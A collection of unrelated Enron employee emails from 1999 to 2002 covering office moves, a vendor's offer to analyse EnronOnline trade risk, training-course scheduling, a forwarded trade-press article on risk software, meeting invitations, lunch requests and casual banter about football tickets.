Sent:	Tuesday, November 06, 2001 11:48 AM
To:	Hogan, Irena D.; Bates, Kimberly; Rybarski, Amanda; Vuittonet, Laura; Presas, Jessica; Villarreal, Alexandra
Subject:	ECS Relocation Start time

Good day all:

What time can we start moving your groups this Friday?  
We are going to need as much time as possible.  I will need a time for each group.

Thank you,

Daniel A. Muschar
ECS Project Team Lead
Office: 713-853-4344
Cell: 281-541-6203
daniel.muschar@enron.com
CCNA, MCSE, CNA, A+

Start Date: 1/9/02; HourAhead hour: 23;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002010923.txt

At approximately 4 a.m. our time this morning, the attached press release was 
issued by DPC in India.  If you require additional information please feel 
free to contact me at ext. 66423 or during Sunday at home (713-572-9556) or 
cellular (281-948-7273).

Tana:

The project manager for the system we discussed earlier this week will be 
Sheri Luong. She will be contacting you soon.

Scott

Here's a letter detailing my earlier E-mail. - CDWR Letter.pdf

I understand your point, but we will have to pass at this time.

We do own an equity stake in Kiodex and that could effect the view as well as we do a significant number of transactions off EnronOnline that would not be captured.

Thanks.

GP

From: R. Martin Chavez [mailto:martin.chavez@kiodex.com]
Sent: Wednesday, October 31, 2001 4:42 PM
To: Piper, Greg
Cc: Zipper, Andy; Webb, Jay; Raj Mahajan; Thomas Farley; Sean Maloney;
Raj Vaswani
Subject: Independent Kiodex analysis of EnronOnline risk?

Greg, we've been able to load thousands of EnronOnline trades into our Risk
Workbench, and we've correctly run risk reports on them.  Might we be of
service to Enron by loading ALL the EnronOnline trades into the Risk
Workbench, and running our risk reports on the aggregate?  I'm thinking that
such an independent analysis of at least part of Enron's risk position might
answer the requests, expressed among analysts and pundits in the FT, the
WSJ, and elsewhere, for greater disclosure.

Everyone is excessively worried about mysterious packages these days.  Just
as Enron pioneered transparency in the energy markets, Enron can set the
gold standard for disclosure of aggregate risk.  (I know the other dealers
will want to squirm their way out of following suit.)  I have supreme
confidence in Enron's risk controls, and I'm thinking that an independent
measurement of this kind could dispel the market's overblown and baseless
fears.

Marty

R. Martin Chavez
Chief Executive Officer
Kiodex, Inc.
+1 877 6 KIODEX
+1 646 437 3811   direct
+1 646 437 3832   fax
+1 917 294 6080   mobile
www.kiodex.com

Disclaimer: This e-mail may contain confidential and privileged material for
the sole use of the intended recipient(s).  If you are not the intended
recipient (or authorized to receive this e-mail for the recipient), please
note that review, use, distribution or disclosure of any part of this e-mail
is strictly prohibited, except that you should please contact the sender or
notify Kiodex, Inc. at notices@kiodex.com that you have received this
message in error, and delete all copies of the message.  This e-mail and any
attachments hereto are the property of Kiodex, Inc. and/or its relevant
affiliate, and are not intended to be an offer or an acceptance, and do not
create or evidence a binding and enforceable contract between Kiodex, Inc.
or any of its affiliates and the intended recipient or any other party, and
may not be relied on by anyone as the basis of a contract by estoppel or
otherwise.

I was thinking that it gives them $50M up front (the sale), and then they'll 
only have to make installment payments for the leases.

Scott:
Here are the Remote Control Operation Agreement Docs and the Interconnection 
Agreements with IPL.  Here are also the names of the attendees from our 
conference call.  We are working on pulling some other information for you 
guys, but please give us a call if you need anything else.  Thanks!
Ben

Joe,

This is the most recent offer from Lacima
(weather derivatives course). What do you think?

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 02/19/2001 
07:15 PM ---------------------------

"Julie" <julie@lacimagroup.com> on 02/19/2001 03:19:45 PM
cc:  
Subject: Re: weather course

Vince,
Enron is fine (although I think we have to pay for the Hyatt anyway).
?
Good discount (I have a feeling that my idea of a good discount and the  
weather desk's idea is probably different?):? for the one day, $1100 per  
person.? If you think that there will be?around 10 people or more,  then we 
can offer a day rate, regardless of the number of people.? 
?
Thanks Vince
?
Julie
?
PS - Of course when I announced that we were cancelling, people started  
responding that they wished to attend.? Ugh!
?
From:  Vince.J.Kaminski@enron.com 
To: Julie  
Cc: Vince.J.Kaminski@enron.com 
Sent: Friday, February 16, 2001 4:05  PM

Julie,

Enron location makes more sense. No reason to  pay for the hotel.
Also, I think that one day makes more sense.

I  contacted the weather desk about including other people at the  training
course. I think that they would be interested if they got a good  discount.

Vince

"Julie" <julie@lacimagroup.com> on  02/16/2001 09:39:37 AM

To:??  <Vince.J.Kaminski@enron.com>
cc:
Subject:?  Re: weather course

Vince,

Great. Just to let you know,  we decided not to wait on the indecisive
ones, and postponed the open  course. It's yours, whatever you want: ? 1
day (specific to what you  feel will be of the most benefit), 2 days, Hyatt
or? Enron, or not at  all. I hope this doesn't cause problems for you.
Special deal, for sure. I  owe my godfather.

Julie

----- Original Message  -----
From:? Vince.J.Kaminski@enron.com
To:  Julie
Cc: Joseph.Hrgovcic@enron.com
Sent:  Thursday, February 15, 2001 3:16? PM
Subject: Re: weather  course

Julie,

That's definitely an option.

We  can? provide the room. Maybe we can cut with you a special deal  for
Enron
and? increase the # of people attending. I am forwarding  your message to
our? weather  desk.

Vince

Joe,

What do you think about?  it?

Vince

"Julie" <julie@lacimagroup.com> on?  02/15/2001 08:20:24 AM

To:  ? "VinceJKaminski" <Vince.J.Kaminski@enron.com>
cc:
Subject:  ? weather course

Vince,

We just wanted to let you  know? that we only have 3 people signed up for
the
weather  derivatives course? (all from Enron) so far. We have a couple  more
that have expressed strong? interest, but we are awaiting their  final
decision. If no one else signs? up, Chris and Les thought that  you guys
could probably get through the? first day pretty easily, and  thus thought
it
may be an option to teach just? the 2nd day  material (pricing) only at
Enron
(doing it at the Hyatt is an?  option as well but the room might be on the
large side)? We would?  obviously reimburse you for the day not taught. We
can teach both days  as? well, but thought you may want to save some time.

I just  wanted to give? you some time to think about it. We will know where
we  stand on final? numbers by next?  Wednesday.

Julie

as well as could be expected given the circumstances.  however, there is no way to explain away the underlying conflict of interest and error in judgment of the fastow thing.

From: 	Arnold, John  
Sent:	Wednesday, October 24, 2001 8:26 AM
To:	White, Bill

schweiger's been preparing for that mtg since wednesday.  how do you think lay/whalley did?

From: 	White, Bill  
Sent:	Wednesday, October 24, 2001 7:33 AM

I wanted to see how they would handle themselves - glad i did.  I guess Schweig did all the yelling for everyone....

Sent:	Tuesday, October 23, 2001 8:23 AM
Subject:	

do you want to go to learn what happened or do you want to go yell at those guys/see those guys get yelled at?

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 09/26/2000 
11:57 AM ---------------------------

"BS Stone" <bs_stone@yahoo.com> on 09/26/2000 04:47:40 AM
To: "jeff" <jeff@freeyellow.com>
cc: "Phillip K Allen" <Phillip.K.Allen@enron.com> 
Subject: closing

Jeff, 
?
Is the closing today?? After reviewing the  agreement?I find it isn't binding 
as far as I can determine.? It is  too vague and it doesn't sound like 
anything an attorney or title company  would?draft for a real estate 
closing--but, of course, I could be  wrong.? 
?
If this?closing is going to take place without  this agreement then there is 
no point in me  following up on this?document's validity.? 
?
I will just need to go back to my closing documents  and see what's there and 
find out where I am with that and deal with this as  best I can.
?
I guess I was expecting something that would be an  exhibit to a recordable 
document or something a little more exact, or  rather?sort of a contract.? 
This isn't either.? I tried to get a  real estate atty on the phone last 
night but he was out of pocket.? I  talked to a crim. atty friend and he said 
this is out of his area but doesn't  sound binding to him.? 
?
I will go back to mine and Phillip Allen's  transaction?and take a look at 
that but as vague and general as this is I  doubt that my signature? is even 
needed to complete this transaction.?  I am in after 12 noon if there is any 
need to contact me regarding the  closing.
?
I really do not want to hold up anything or  generate more work for myself 
and I don't want to insult or annoy anyone but  this paper really doesn't 
seem to be something required for a closing.? In  the event you do need my 
signature on something like this I would rather have  time to have it 
reviewed before I accept it.
?
Brenda
?
?

Harry-

I just offered up a trade to you.  Take a look when you get a chance and let 

Would you like to sit in on this?
---------------------- Forwarded by Lorraine Lindberg/ET&S/Enron on 
02/20/2001 08:50 AM ---------------------------
   
	From:  Jo Williams                           02/16/2001 10:00 AM
	
To: Vernon Mercaldo/ET&S/Enron@ENRON, Stephen Herber/ET&S/Enron@ENRON, 
Lorraine Lindberg/ET&S/Enron@ENRON, Jeff Nielsen/ET&S/Enron@Enron
cc:  

Subject: Meeting on Thursday at 2:30 p.m.

I have set up a meeting at 2:30 p.m. on Thursday (in Houston) to discuss a 
few issues between NNG and TW regarding:
 The TW expansion (and how NNG may provide some interconnecting supply and 
transport for this).
 Interconnects with TW/NNG--how we are valuing this capacity....and those 
with El Paso.
 Direct access to Permian Pool pricing---I need to get a better understanding 
of this, and maybe get some ideas from others if there is a way to get 
Permian   Pool access instead of Waha.

Let me know if this time doesn't work for you.  Thanks.

Here's a first draft.  I can't find a working printer to print to (what a way 
to work), so I haven't printed it yet.  If you can print a copy, I would 
appreciate it.

Kay

Kay:

As I mentioned, this e-mail was the product of a meeting this week with 
Duran, Deffner, Bills and me. I need your help to make this work with respect 
to the legal group, and would like your suggestions. I'll call you to discuss.

Regards,

Ben
---------------------- Forwarded by Ben Jacoby/HOU/ECT on 05/10/2001 06:54 PM 
   
	From:  Ben F Jacoby                           05/10/2001 06:51 PM
	
Sent by: Ben Jacoby
To: Chris Booth, Raimund Grube, Jeffrey Keenan, Steve Krimsky, Greg Krause, 
Rick Whitaker, Fred Mitro, Rusty Stevens, Ron Tapscott, Matt Gimble
cc: W David Duran 
Subject: Interface with Accounting and Global Finance

Guys:

As you all know, our group is in the middle of a very significant amount of 
development and equipment book management activity, This hard work by all of 
you has allowed us to achieve very impressive income results thus far this 
year, and has set the stage for continued success. It has also placed 
significant demands on internal resources that are integral to our success, 
in particular those resources in Global Finance, Accounting, and Legal. 

In order to ensure a proper prioritization of work flow, and that project 
specific objectives and time lines are communicated, I need each of you to 
come to me with all new agreements prior to seeking input from Accounting and 
Global Finance. I will interface with these two groups and establish 
priorities for their review.

We will continue to refine how we interface with these groups, and as such, 
I'd appreciate any suggestions you would have. I plan to have a staff meeting 
next week, and we can discuss it at that time.

Thanks,

Ben

Dresdner selects WhiteLight for Global Risk Management.  For more
information on how WhiteLight can help your organization, contact me.
 
Dale Schuett
(925) 462-2497
dale@whitelight.com <mailto:dale@whitelight.com> 
 
The Dresdner article was printed up on the Banking Channel....
 
  _____  

TOP
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German Bank Bets on Predictive Analytics

From: Bank Technology News
Aug 28, 2001
By Louise West
		
German investment bank Dresdner Kleinwort Wasserstein (DrKW) has purchased
analytic software that, it hopes, will put it on the cutting edge of risk
management. 

WhiteLight Systems, the Palo Alto, CA-based company, has announced that the
investment bank selected analytics and Web reporting software for a global
risk management solution in a licences and services contract valued at $2.3
million. 

The bank is using WhiteLight to develop applications that will help control
the bank's exposure to risk. DrKW hopes the applications will improve the
visibility of data about its investment banking portfolio, such as foreign
exchange, equities and derivatives, to a much wider range of business
decision makers across the global business and provide a more flexible
system for interrogating the data. The bank also expects the new
applications to uncover new product and market opportunities. 

The initial project involves developing three applications: credit risk,
market risk and product control. Based on WhiteLight's AnalyticServer, DrKW
will roll out the applications in 2001 across its major international
trading centers, including Frankfurt, London, New York and Tokyo.
AnalyticServer's multi-dimensional modeling engine is at the core of
WhiteLight's application suite. It is designed to allow complex interactive
analysis within large and varying data sources. 

Additionally, DrKW has selected iApplicationServer, WhiteLight's solution
for Web-based analytics, to enable DrKW's decision makers worldwide to
operate from a unified global view of business data. Using
iApplicationServer, the German bank will be able to create and deploy
interactive reports to any user on the Web. 

The bank is not talking about its purchase, but Peter Beard, WhiteLight's
vice president of world wide sales, could confirm that DrKW is our biggest
physical user in the world. It has 25 WhiteLight servers in production, and
it has purchased the largest number of our servers within our customer base,
in the shortest amount of time. Other project areas within the bank are
looking at how to use WhiteLight. 

Other European banks are considering buying the technology, developed as the
next step up from online analytical processing (OLAP), which is regarded as
increasingly unwieldy and inflexible in the wake of the e-business
revolution. Merrill Lynch predicts that the total e- business analytics
market opportunity will top $25.1 billion by 2004. 

Growing market 

It's a fact that the scope of business is ever expanding, from the size of
an institution's operations to the markets and customers it can reach. At
the same time, market conditions and customer requirements change rapidly,
and there are more factors and variables to be considered before decisions
can be made, WhiteLight says. 

Gartner analysts agree and they predict significant growth in the predictive
analytics business. By 2005, enterprises will need three times as many
professionals on their analytic staff as they need today, Gartner believes,
and the demand for analytic talent today outweighs supply by at least two to
one. The killer trend for e-business will likely be the real-time
enterprise, i.e. an enterprise able to collect nearly instantaneous feedback
on business processes and to take the right adaptive, corrective or
preventative action. Web analytics enables executives and managers to know
where the company stands in its quest to become a real-time enterprise and
when the company will achieve real-time business capability across all
channels, from the shop floor to the e-marketplace says Gartner. 

Accordingly, a new generation of analytic applications, dubbed predictive
analytics, is needed to help managers understand what is happening and why,
and to test the outcome of prospective decisions. 

WhiteLight's Analytic Application Suite has been developed to allow the
near-instant extraction of critical and previously unavailable
decision-support information from large and complex databases, the company
says. 

It is still very new and can be categorized as an early adopter market, says
Beard of the technology. People are looking at two scenarios. There are
those companies that want to be leading edge, or those which have used
traditional methods (of risk management) and found their limits. With
operational risk, the only way to do anything remotely like we do is with
Excel, and it results in the 25-page spreadsheet from hell which only one or
two people in the company can understand. We can put the data on a server
rather than a desktop and all users are permitted to see all facets.
Business managers or analysts don't need to know SQL to create
multi-dimensional models. They can define formulas and data sources using a
drag and drop interface. 

According to Beard, All the products that have grown up over the last 10
years have been what I call rearview mirror technology. It's historical
data, looking at where you have come from. Predictive analytics takes the
same data, but in increasingly large volumes and puts it into a model so
that analysts can interact with that. What if, for example, there were to be
a change in the underlying rate by 10 basis points? You can make the change
and see the impact across the entire model. 

Growing interest 

Although the impact of predictive analytics on DrKW's bottom line is not yet
known, WhiteLight says that one of its clients involved in loan
collateralization believes it will be able to return $20 million to the
balance sheet thanks to the software. Financial institutions will also be
able to hang onto costly legacy systems, says Beard. Every bank has legacy
systems on which they have spent millions. We sit above that in a platform.
Pertinent data is modeled within the WhiteLight server. 

Other financial institutions in Europe are keen to follow in DrKW's
footsteps, says Beard, who already counts Barclays, J.P. Morgan Chase and
Lehman Brothers among his company's customers. We are involved in a major
project with a large multi-national Dutch bank with the same profile as
DrKW. It is an existing customer with whom we will be putting the technology
group wide. It owns a number of other banks across Germany and Holland. And
over the next month we will be able to announce three new contracts in
Switzerland, Germany and Holland. 

The Bank for International Settlements (BIS) has created a groundswell of
interest in predictive analytic applications with its new Basel Capital
Accord. The accord is based on three pillars that allow banks to evaluate
properly the various risks they face. It focuses on minimum capital
requirements, the supervisory review of an institution's capital adequacy
and market discipline through effective disclosure to encourage safe and
sound banking practices, according to the BIS. The new accord will be
finalized at the end of the year, and is expected to be implemented in
member jurisdictions by 2004. 

It will be a real benefit to banks if they can reduce the amount of
provision they must have. It is a clearly defined initiative with massive
tangible benefits, says Beard. 

Copyright 2001 Thomson Financial. All rights reserved. 

Format
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---------------------- Forwarded by Larry Jester/Corp/Enron on 12/13/2000 
01:37 PM ---------------------------

Don Baughman@ECT
12/11/2000 04:00 PM
To: shannontyer@email.msn.com, mstewart@pdq.net, reidstav@houston.rr.com, 
travieso74@hotmail.com, PRHE@DYNEGY.COM, Kori Loibl/HOU/ECT@ECT, Patrick 
Hanse/HOU/ECT@ECT, Matt Lorenz/HOU/ECT@ECT, Larry Jester/Corp/Enron@ENRON, 
twomarshalls@hotmail.com, don.c.baughman@marshmc.com, 
baughmanpatricia@hotmail.com
cc:  

Subject: 

Hello,

I  shall be traveling this week. I shall be glad to meet
you for lunch next week. Please give me a call Monday
at 713 853 3848.

Vince

"more" <more@insync.net> on 01/25/2000 10:27:09 AM
cc:  
Subject: Fw: Luncheon Meeting: ASAP

Just to bring you up to date. I am no longer with American General. I shall, 
therefore, appreciate an opportunity to meet with you for lunch at the 
earliest possible time. I can be reached at 713-722-7199.

Thank you.

Maruti More
713-722-7199

From: more <more@insync.net>
To: Vince J Kaminski <vkamins@ect.enron.com>
Date: Friday, December 17, 1999 8:55 PM
Subject: Re: Luncheon Meeting

Thank you for your response. I was very happy to hear from you.

I am also taking next week off and will be back to work on December 27th.

Please do call me when you get back. Would very much appreciate the 
opportunity to have a quick lunch with you, if possible. Hope everything is 
going well.

Have wonderful Christmas holidays.

Regards

713-831-6209 (O)

    From: Vince J Kaminski <vkamins@ect.enron.com>
    To: more <more@insync.net>
    Cc: Vince J Kaminski <vkamins@ect.enron.com>
    Date: Friday, December 17, 1999 3:35 PM
    Subject: Re: Luncheon Meeting

    Hello,

    I shall be taking a few days off around Xmas. I shall call you at the end 
of
    December
    when I get back to the office.

    With best holiday wishes,

    Vince

    "more" <more@insync.net> on 12/01/99 09:28:09 PM

    To:   Vince J Kaminski/HOU/ECT@ECT
    cc:
    Subject:  Re: Luncheon Meeting

    Dear Mr. Kaminski:

    How are you doing? I want to find out if we can meet again for a quick 
lunch.

    You might know that in Maharashtra, India there is now a new Chief 
Minister
    (CEO of the State Government). I am proud to say that he and I are from 
the same
    town, Latur.

    I would really enjoy talking with you again, at your convenience.

    I will call you tomorrow to follow up.

    Thank you.

    Sincerely,

    Maruti More

    Cc: Vince J Kaminski <vkamins@ect.enron.com>; vkaminski@aol.com
    <vkaminski@aol.com>
    Date: Thursday, July 01, 1999 6:16 AM

        Dear Mr. More,

        Let's meet at 11:45 in the lobby of the Enron building.
        We can walk to one of the restaurants in the downtown area.

        Vince Kaminski

        (Embedded     Enron Capital & Trade Resources Corp.
        image moved
        to file:      From:  "more" <more@insync.net>
        pic17002.pcx) 06/30/99 10:38 PM

        To:   Vince J Kaminski/HOU/ECT
        cc:
        Subject:  Luncheon Meeting

        Dear Mr. Kaminski:

        I am looking forward to our luncheon meeting on this Friday,  July 2, 
1999
    at
        11:30 AM. Please let me know where we should meet. Thank you for 
taking time
    out
        from your busy schedule.

        Sincerely,

        Maruti More

        Tel.:  713-831-6209

 - att1.htm

The question of the day is, do you have access to our Lotus Notes Database?

Diane has passed her 5 year mark with the company, and as such is entitled to all the rights and priviledges of a veteran.  Please congratulate her with me and come admire her gift!

Cara

Teco Tap       10.000 / Enron ; 75.000 / HPL IFERC

LS HPL LSK IC       30.000 / Enron

Just ran into Nick Cocovasis in the elevator.  Today is his last day at 
Enron, he accepted a position with AEP just yesterday (or very recently).  Of 
course I had to ask if Ann Elizabeth was also going.  He said, "She will 
probably go too", although I do not know what he was basing that comment on.  
We will see.

K-

Kathleen Carnahan
Enron North  America Corp.
1400 Smith Street, EB 3146d
Phone - (713) 345-3386
Fax - (713) 646-3037

Boone,

I wouldn't take a chick to those shitty seats you have. She'll think you are
cheap. I'd give it Matt. It's not all about the poon; it's about football!

From: kevin.a.boone@accenture.com [mailto:kevin.a.boone@accenture.com]
Sent: Tuesday, November 27, 2001 10:46 AM
To: Lenhart, Matthew; MMMarcantel@equiva.com

i'm using my other one this week . . . i'm driving in fri night to go out
with that chick . . . where and what time do we want to hook up sat morn .
. . lunch at the chimes?

Regards,

Kevin A. Boone
Accenture -- Houston
(Octel) 713.837.1638
(Client) 281.848.1619
(C) 713.306.7940
(H) 713.864.4149
Kevin.A.Boone@accenture.com

Our web address is http://www.accenture.com

            "Lenhart, Matthew"

            <Matthew.Lenhart@enron.co        To:     "\"Marcantel MM
(Mitch)\" <MMMarcantel@equiva.com>@ENRON", Kevin
            m>                               A.
Boone/Internal/Accenture@Accenture
                                             cc:

            11/27/2001 09:47 AM              Subject:     RE:

yeah bra

> From:   "Marcantel MM (Mitch)" <MMMarcantel@equiva.com>@ENRON
> Sent:   Tuesday, November 27, 2001 9:34 AM
> To:     Lenhart, Matthew; kevin.a.boone@accenture.com
> Subject:     RE:
>
> I'm using both of mine.....unless Becky decides not to come in. If
> Boone is
> using his other one, then I'd buy one if I were you.
>
> I'll give both of your asses a call later on
>
>
>
> From: Lenhart, Matthew [mailto:Matthew.Lenhart@enron.com]
> Sent: Tuesday, November 27, 2001 9:26 AM
> To: mmmarcantel@equiva.com; kevin.a.boone@accenture.com
> Subject:
>
>
> are you guys using all your tickets?  i can buy one today if you guys
> are using yours.  probably a good idea for me to buy it anyway.  i
> think
> that i am going in sat morning.
>
>
> This e-mail is the property of Enron Corp. and/or its relevant
> affiliate and
> may contain confidential and privileged material for the sole use of
> the
> intended recipient (s). Any review, use, distribution or disclosure by
> others is strictly prohibited. If you are not the intended recipient
> (or
> authorized to receive for the recipient), please contact the sender or
> reply
> to Enron Corp. at enron.messaging.administration@enron.com and delete
> all
> copies of the message. This e-mail (and any attachments hereto) are
> not
> intended to be an offer (or an acceptance) and do not create or
> evidence a
> binding and enforceable contract between Enron Corp. (or any of its
> affiliates) and the intended recipient or any other party, and may not
> be
> relied on by anyone as the basis of a contract by estoppel or
> otherwise.
> Thank you.

privileged, proprietary, or otherwise private information.  If you have
received it in error, please notify the sender immediately and delete the
original.  Any other use of the email by you is prohibited.

Looks like I will NOT be able to have my cell phone on during our meetings - 
but here is the number if you need to get a message to me.
----- Forwarded by Mark Taylor/HOU/ECT on 02/10/2001 06:04 PM -----

	Mary Solmonson/ENRON@enronXgate
	02/09/2001 04:35 PM
		 
		 To: Sally Beck/HOU/ECT@ECT, Mike Jordan/LON/ECT@ECT, Bob M 
Hall/NA/Enron@Enron, Leslie Reeves/HOU/ECT@ECT, Beth 
Perlman/ENRON@enronXgate, Peggy Hedstrom/CAL/ECT@ECT, James 
Scribner/Corp/Enron@Enron, Debbie R Brackett/HOU/ECT@ECT, Brenda F 
Herod/HOU/ECT@ECT, D Todd Hall/ENRON@enronXgate, Thresa A Allen/HOU/ECT@ECT, 
Sheri Thomas/HOU/ECT@ECT, Kevin Sweeney/HOU/ECT@ECT, Shona 
Wilson/NA/Enron@Enron, Robert Superty/HOU/ECT@ECT, Michelle 
Bruce/HOU/ECT@ECT, Vanessa Schulte/ENRON@enronXgate, Jennifer deBoisblanc 
Denny/HOU/ECT@ECT, Steve Whitaker/LON/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Scott 
Mills/HOU/EES@EES, Laura E Scott/CAL/ECT@ECT, Richard Sage/LON/ECT@ECT, Beth 
Apollo/HOU/ECT@ECT, Stacey W White/HOU/ECT@ECT, Murray P O'Neil/HOU/ECT@ECT, 
Shari Mao/HOU/ECT@ECT, Greg Piper/ENRON@enronXgate, Rahil 
Jafry/ENRON@enronXgate
		 cc: Patti Thompson/HOU/ECT@ECT, Marvia Jefferson/ENRON@enronXgate, Heather 
Choate/HOU/ECT@ECT, Chantelle Villanueva/HOU/ECT@ECT, Cherylene 
Westbrook/ENRON@enronXgate, Adrial Boals/Corp/Enron@Enron, Yvette G 
Connevey/Corp/Enron@ENRON, Sue Foust/HOU/ECT@ECT, Fiona McNaught/LON/ECT@ECT, 
Zionette Vincent/NA/Enron@Enron, Jennifer Rosado/NA/Enron@ENRON, Salisha 
Ramos/NA/Enron@ECT, Braedi Craig/NA/Enron@ENRON, Pamela Sonnier/HOU/ECT@ECT, 
Mercy Gil/NA/Enron@Enron, Scott Francis/Enron Communications@Enron 
Communications, Sherita Scott/ENRON@enronXgate, Tina Spiller/ENRON@enronXgate
		 Subject: Final Information for ASE in Dallas Feb 12 & 13

I have included information in the attached document on our dinner plans for 
Monday night.  All transportation information is also enclosed.

Remember, we ask that you turn off all pagers and phones for the ASE.  The 
contact number there is  214-303-7700 or fax is 214-303-7643.
ASE personnel will take a message and pass along to you as needed.

See you Monday morning!

Rosalee,

Steve Kean asked me to send you this documents for Mr. Lay's meeting with 
Ernesto Martens, Mexico's Secretary of Energy on Sunday Feb. 11th at 5:00 p.m.

I will pick up the Secretary at the airport and bring him to the Enron 
building for the meeting.

Please contact me if you need any additional information.

Best,

Ricardo

From: Chris Bondy 
Sent: Tuesday, October 09, 2001 1:38 PM
To: 'Richard Kampmann'
Subject: RE: Baseball Trivia

2/9 not very good

From: Richard Kampmann [mailto:rkampmann@yahoo.com]
Sent: Tuesday, October 09, 2001 1:34 PM
To: John Yazzo; Mike Sussmann; Jeff Tucker; Kevin Ruscitti; Manny
Sakellakis; Dick Schwartz; Neil Pollio; Petie Reist; Gregg Oliver; Patti
Nunn; Kevin O'Shea (w); Ed Olimpio; Neil McGovern (w); Mike Miller; Rich
Moller; Rich Langell; King Stephanie Lubben; Mike Malaga; John Kampmann,
Jr.; Haj Keswani; Peggy Ron Hardiman; Jimbartie; Dave Juliana; Peter
Gould; Steve Grossmann (w); Gus; Marty Gilligan; Ted Susan FitzGerald;
Doug Garrett; Scott Linda Eveland; Dave Distaso; Phil Emma; Jim Claffey
(w); Frank Conway; John Kristie Coyle; Rob Crise; Rob DiLeo; Jeff
Brusak; Bob Buono; Chris Castagna; Virginia Augusta; Chris Bondy; Gordon
Brooks (w)
Subject: Baseball Trivia

I figured we all needed a break from all the 9/11 and Retaliation news
we've received lately.

To get everyone in the postseason frame of mind here is a trivia
question I'm sure will stump the most avid basebvall fan.

There has been an MVP who reveived the award two years in a row at each
position (center field has two), including at pitcher.  Name them.  

I will share the answers in a future email.  I'm thinking Bert or DiLeo
are the only ones who have half a chance at this one.  Prove me wrong.

Pitcher :

Catcher:

First Base: (no it was not Rich Kampmann)

Second Base:

Third Base:

Short Stop:

Left Field:

Center Field:

Right Field:

  _____  

NEW from Yahoo! GeoCities - quick and easy web site hosting
<http://rd.yahoo.com/mail_us/tag/?http://geocities.yahoo.com/ps/info1> ,
just $8.95/month.

After reviewing all of the lists, attached is the list of reference credits 
that I forwarded to Mark to load on Enorn Online.

Call me if you have any concerns.

I thought I'd send this around just as a reminder of the RMT guidelines.  As 
far as I know these have not changed since Rhett's memo last year.
----- Forwarded by Mark Taylor/HOU/ECT on 12/12/2000 09:07 AM -----

	Rhett Jackson
	11/01/1999 10:08 AM
		 
		 To: Sally Beck/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, Peter 
Keohane/CAL/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, Jefferson D 
Sorenson/HOU/ECT@ECT, Shari Stack/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, 
Mark Taylor/HOU/ECT@ECT, Bob Shults/HOU/ECT@ECT, Tony Harris/HOU/ECT@ECT
		 cc: Morris Richard Clark/HOU/ECT@ECT, Stephen H Douglas/HOU/ECT@ECT, James 
Ginty/Corp/Enron@ENRON, Jordan Mintz/HOU/ECT@ECT, James Sandt/LON/ECT@ECT, 
AnnMarie Tiller/Corp/Enron@ENRON
		 Subject: Risk Management & Trading Corp. ("RMT") Guidelines

Attached please find the most recent guidelines for confirming swap 
transactions with RMT.  Please distribute this memorandum to others involved 
in the confirmation process, as appropriate, and feel free to call me at 
X34718 if you have any questions or comments.

Regards.
Rhett Jackson

Steve,

You requested that I put together a Knowledge Management working group.

To tell you the truth, I got the best support from Elizabeth Linnell.  She 
did a splendid job of coordination and had great ideas of implementation.  
She kept the group alive.

Our main obstacle, aside from other responsibilities, is that other groups, 
specially the eKnow team liked the idea so much that they started calling 
everything "knowledge management" or "expert " without a clear idea of all 
the implications.

A positive discovery was that throughout Enron there are a number of efforts 
that are trying achieve a better situation with respect to information, 
communication and knowledge.  Unfortunately many of this groups are not a 
priority within their business units.

We have an operational  pilot webpage with some interesting content.  

We also drafted two documents.  A first draft of a business plan and a theory 
support document with respect to knowledge.

Our last meeting must have been around August and it is my fault that we have 
not met again but it has to do with my workload in Mexico.  I hope to 
continue with this project by establishing a monthly meeting to arrive to the 
full launch of ther program in our area  A.S.A.P or whenever you set the 
deadline (2nd quarter 2001?)

I would recommend  implementation but, perhaps due to Elizabeth's and my 
responsibilities we would need someone else that devotes more time to the 
implementation of this project.

I think it would be important to develop a working group for training within 
our area.  They could develop programs, ask for changes in current programs 
so that they are also focused to what we do.  Promote the assistance of our 
team to different courses, internal and external, etc. 

Please call if I can be of assistance.

Best,

Ricardo

	Steven J Kean
	Sent by: Maureen McVicker
	11/20/2000 10:12 AM
		 
		 To: Jose Bestard/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Scott Bolton/Enron 
Communications@Enron Communications, Hap Boyd/EWC/Enron@Enron, Jeff 
Brown/NA/Enron@Enron, Ricardo Charvel/NA/Enron@Enron, Paul Dawson/Govt. 
Affairs/LON/ECT@ECT, Joe Hillings/Corp/Enron@ENRON, Harry 
Kingerski/NA/Enron@Enron, Nicholas O'Day/AP/Enron@Enron, Richard 
Shapiro/NA/Enron@Enron, James D Steffes/NA/Enron@Enron
		 cc: Richard Shapiro/NA/Enron@Enron, Mark Schroeder/LON/ECT@ECT, Marcia A 
Linton/NA/Enron@Enron, Ginger Dernehl/NA/Enron@Enron, Lora 
Sullivan/Corp/Enron@ENRON, Rubena 
Buerger/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Tracy Cooper/Enron 
Communications@Enron Communications, Beverley Ashcroft/LON/ECT@ECT
		 Subject: WORKING GROUP PROGRESS

Please provide me an update on the progress of the working group you have led 
this year.  There are several things I would like you to cover in this regard.

Did the working group function through the year or was it terminated (I 
recognize there may be good reasons for the latter, but would like to 
understand those reasons).

What did the group accomplish?

Would you recommend continuing it?   Any changes?

Are there other topics we should consider for working groups in the future?  
Any changes to the working group process itself?

Please provide input on the individuals you worked with.  You should be able 
to do this through the PEP system.  If you cannot, please provide the 
feedback by confidential e-mail to me.  Because the PRC is coming up soon, 
please provide the feedback by December 1. 

Attached are most of the presentations given at the LNG Offisite on November 
20, 2000.  I am still missing one from Brad Hitch, Dan Rogers and Javier 
Chavarria.  I will send them as soon as I receive them:

Rick Bergsieker's Presentation

Doug Arnell's Presentations

Javier Marrero's Presentation

Clay Harris' Presentation

Wayne Perry's Presentation

Brent Price's Presentations

Paul Y'Barbo's Presentation - Puerto Rico LPG

Emilio Vicens Presentation - Jose LNG

Joanne:  I'll hand you the revision to the template below (ignore the second attachment).  Sara

From: 	Sara <sshackl@swbell.net>@ENRON  
Sent:	Tuesday, February 05, 2002 11:43 PM
Subject:	project list

 - Project list template.doc 

Yes, you can flow 100%.   I confirmed that this was a part ot the rate case
settlement.

Chris.Germany@enron.com on 01/05/2001 09:50:36 AM

